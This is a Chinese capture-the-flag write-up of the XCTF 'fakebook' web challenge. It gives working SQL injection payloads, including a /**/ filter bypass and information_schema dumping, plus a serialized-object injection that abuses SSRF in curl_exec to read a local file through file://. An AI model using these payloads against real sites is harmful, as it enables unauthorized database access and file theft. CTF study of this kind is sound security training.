2020.4.8 xctf(fakebook)

2020.4.8 xctf(fakebook)_第1张图片提示让我们注册一个账号,这里随便注册,注意一下blog的格式就行。
然后用我们注册好的账号进行登录。
登录后发现url 为 http://111.198.29.45:33988/view.php?no=1 ,第一时间想到是否存在sql注入,我们输入 ’
2020.4.8 xctf(fakebook)_第2张图片根据报错的显示,可以肯定存在sql注入的,然后我们用 order by 语句判断查询的字段数目,以便于后续进行 union 查询,

先 输入 1 order by 6# ,查询失败。
2020.4.8 xctf(fakebook)_第3张图片   然后我们再输入 1 order by 4 # ,此时页面显示正常,由此判断查询的字段数为4。

获得了字段数,我们就进行union联合查询,尝试输入 1 union select 1,database(),1,1 #

页面返回 no hack _,很明显应该是后端检测到我们的注入关键词。

这里我们猜测它检测到的可能是 union select,我们尝试用/**/进行绕过,

在mysql中 //插入到sql语句中既可以当注释,也可以当空格,所以这里我们构造 -1 union//select 1,database(),1,1 #,

2020.4.8 xctf(fakebook)_第4张图片当然也可采用:2020.4.8 xctf(fakebook)_第5张图片   果然能够绕过成功,得到当前的数据库名为fakebook,那么我们以同样的方法获取其他数据:

获取表名:

   -1 union/**/select 1,group_concat(table_name),1,1 from information_schema.tables where table_schema='fakebook'#

2020.4.8 xctf(fakebook)_第6张图片获取列名:

 -1 union/**/select 1,group_concat(column_name),1,1 from information_schema.columns where table_name='users'#

2020.4.8 xctf(fakebook)_第7张图片 这里我们重点看一下data,觉得可能有我们需要的信息:

   -1 union/**/select 1,data,1,1 from users #

2020.4.8 xctf(fakebook)_第8张图片这里发现data字段里面的值为我们开始注册是输入的信息,它将这些信息进行了序列化并存储在数据库中,然后当我们查询的时候再反序列化显示在前端。

3.开头我们扫描出了 robots.txt文件,那我们就访问看看。2020.4.8 xctf(fakebook)_第9张图片再根据提示打开user.php.bak,发现了如下代码:
  2020.4.8 xctf(fakebook)_第10张图片通过这段代码可以知道,这个函数会读取blog,然后访问它,如果访问成功则会读取文件的信息,否则返回404,

所以我们可以通过反序列化来实现ssrf读取任意文件,构造我们想要的路径,然后为了绕过正则,不从注册登录的地方下手,

直接人为构造联合查询返回语句,data字段在第四个位置。
构造如下:
2020.4.8 xctf(fakebook)_第11张图片

curl_exec函数存在ssrf。通过注入反序列化利用ssrf读取任意文件。

view.php?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

注册成功后它就会显示你注册的账户信息,然后查看源码,如下图,点击iframe的src属性值即可获得flag

2020.4.8 xctf(fakebook)_第12张图片2020.4.8 xctf(fakebook)_第13张图片同样的可以将src后的base64解码:
2020.4.8 xctf(fakebook)_第14张图片

你可能感兴趣的:(web安全)